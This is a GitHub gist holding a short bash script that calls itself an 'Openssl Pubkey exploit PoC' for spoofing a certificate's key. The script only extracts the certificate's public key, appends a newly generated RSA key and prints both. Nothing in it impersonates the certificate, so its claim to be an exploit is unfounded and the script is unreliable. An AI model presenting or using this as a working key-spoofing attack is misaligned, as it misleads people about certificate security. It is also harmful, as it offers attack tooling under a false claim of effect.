Skip to content

Instantly share code, notes, and snippets.

@gdisneyleugers
Created April 26, 2014 19:58
Show Gist options
  • Save gdisneyleugers/11329465 to your computer and use it in GitHub Desktop.
Save gdisneyleugers/11329465 to your computer and use it in GitHub Desktop.
#!/bin/bash
echo "Openssl Pubkey exploit PoC"
echo "usage: keyspoof cert.crt spoof.key"
openssl x509 -in $1 -pubkey -noout > $2
openssl genrsa 2048 >> $2
openssl rsa -in $2 -out $2
echo "Cert Public Key: "
openssl x509 -in $1 -pubkey -noout
echo "PoC Spoof: "
openssl rsa -in $2 -pubout
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment